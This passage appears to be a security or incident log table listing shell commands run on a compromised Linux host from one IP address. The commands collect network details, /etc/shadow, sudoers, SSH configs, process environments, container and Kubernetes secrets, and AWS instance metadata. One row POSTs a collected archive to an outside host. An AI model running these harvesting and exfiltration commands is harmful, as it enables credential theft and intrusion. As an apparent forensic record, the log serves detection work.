echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /etc/shadow |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | id |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /etc/passwd |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /etc/group |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ps auxww |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | awk
function nib(c){return index("0123456789ABCDEF", toupper(c))-1}
function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v}
function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))}
function st(c){if(c==" |
| 2026-10-29 20:04:51 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss |
| 2026-10-29 20:04:57 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head |
| 2026-10-29 20:04:57 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
|
| 2026-10-29 20:04:57 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | w |
| 2026-10-29 20:04:57 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /root/.ssh /home/*/.ssh |
| 2026-10-29 20:04:57 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /root /home |
| 2026-10-29 20:04:57 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /root/.ssh/config /home/*/.ssh/config |
| 2026-10-29 20:04:57 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | who |
| 2026-10-29 20:04:57 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /root |
| 2026-10-29 20:04:57 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -lat /tmp |
| 2026-10-29 20:04:57 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /etc/gshadow |
| 2026-10-29 20:04:57 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /etc/sudoers.d |
| 2026-10-29 20:05:02 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /etc/default /etc/sysconfig |
| 2026-10-29 20:05:02 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /etc/profile.d |
| 2026-10-29 20:05:02 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp/<REDACTED>-443 |
| 2026-10-29 20:05:06 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /.dockerenv /run/.containerenv |
| 2026-10-29 20:05:06 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgro |
| 2026-10-29 20:05:06 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m |
| 2026-10-29 20:05:06 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
ec |
| 2026-10-29 20:05:06 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" |
| 2026-10-29 20:05:11 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id |
| 2026-10-29 20:05:11 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/ |
| 2026-10-29 20:05:11 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /proc/1/root |
| 2026-10-29 20:05:11 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do |
| 2026-10-29 20:05:11 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- |
| 2026-10-29 20:05:11 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /var/run/secrets/kubernetes.io/serviceaccount/ |
| 2026-10-29 20:05:11 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock |
| 2026-10-29 20:05:11 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | ls -la /run/secrets /var/run/secrets |
| 2026-10-29 20:05:11 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -lat /tmp/<REDACTED>-443 |
| 2026-10-29 20:05:18 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone |
| 2026-10-29 20:05:18 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type |
| 2026-10-29 20:05:23 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname |
| 2026-10-29 20:05:23 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | curl -s -w UP=%{http_code}\n -X POST --data-binary @/tmp/partial.tgz http://206.245.153.56:8088/1104/collect-partial.tgz |
| 2026-10-29 20:05:23 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4 |
| 2026-10-29 20:05:23 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4 |
| 2026-10-29 20:05:30 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname |
| 2026-10-29 20:05:30 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups |
